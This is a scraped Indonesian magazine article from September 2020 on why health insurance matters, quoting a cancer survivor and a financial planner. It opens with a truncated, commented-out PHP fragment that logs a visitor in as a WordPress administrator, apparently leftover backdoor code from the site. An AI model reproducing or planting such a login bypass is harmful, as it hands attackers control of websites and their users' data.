user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Money
Pentingnya Asuransi untuk Kesehatan Finansial

10 Sep 2020


Foto: Shutterstock


Tahun 2009 merupakan masa yang berat bagi Pipit Djatma, penyintas kanker. Saat itu ia pertama kali didiagnosa kanker dan harus mengeluarkan banyak uang demi pengobatan.

“Dulu saya tidak menyangka akan mengalami penyakit berat. Jadi saya tak punya asuransi kesehatan. Akhirnya saya jual aset yang dimiliki dan tabungan terkuras begitu saja,” tuturnya dalam acara konferensi pers virtual peluncuran Asuransi Kanker FWD Cancer Protection.

Pengalaman Pipit membuktikan bahwa kehidupan penuh dengan risiko. Hidup sehat secara finansial sangatlah penting, di samping sehat secara fisik. “Jadi mulailah asuransi sejak dini, jangan tunggu sakit,” terang Pipit.

Menurut Rista Zwestika, financial planner, ada berbagai risiko dalam kehidupan, antara lain risiko keuangan, risiko sakit, risiko kecelakaan, dan risiko alam. Oleh sebab itu, memiliki proteksi atau asuransi seharusnya sangat diutamakan.

“Asuransi itu bukan hanya untuk kepentingan diri sendiri, namun demi orang-orang yang kita cintai. Jadi keamanan keuangan dalam bentuk proteksi adalah kebutuhan,” ujarnya.

Setiap orang boleh memiliki pertimbangan pribadi mengenai kapan memulai asuransi kesehatan. “Tapi bagi saya hidup itu penuh risiko dan saya tak mau menyusahkan keluarga. Jadi asuransi kesehatan itu sangat penting untuk segera dimulai,” terangnya.

Menurut Rista waktu yang tepat untuk memulai asuransi didasari tiga pemikiran. Pertama, kesadaran bahwa kehidupan hanya berlangsung sementara. Kedua, ketika kita masih dalam kondisi sehat.
Advertisement

“Lebih baik asuransi dibuat saat masih sehat. Karena ketika kita sakit, asuransi tak dapat melindungi kita secara maksimal,” ujarnya.

Ketiga, saat kita masih produktif.

“Jadi sebaiknya sedini mungkin kita sudah menyiapkan budget untuk proteksi atau asuransi karena proteksi adalah sistem keamanan yang melindungi tujuan keuangan kita,” pungkas Rista.(f)
 


BACA JUGA:
Strategi Keuangan Untuk Memutus Mata Rantai Generasi Sandwich
70% Konsumen Asia Tenggara Akan Beralih ke Digital Pada Akhir 2020
Terancam PHK Karena Dampak COVID-19? Ini 4 Hal yang Perlu Anda Persiapkan



 


Topic

#keuangan, #asuransi, #kesehatan

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?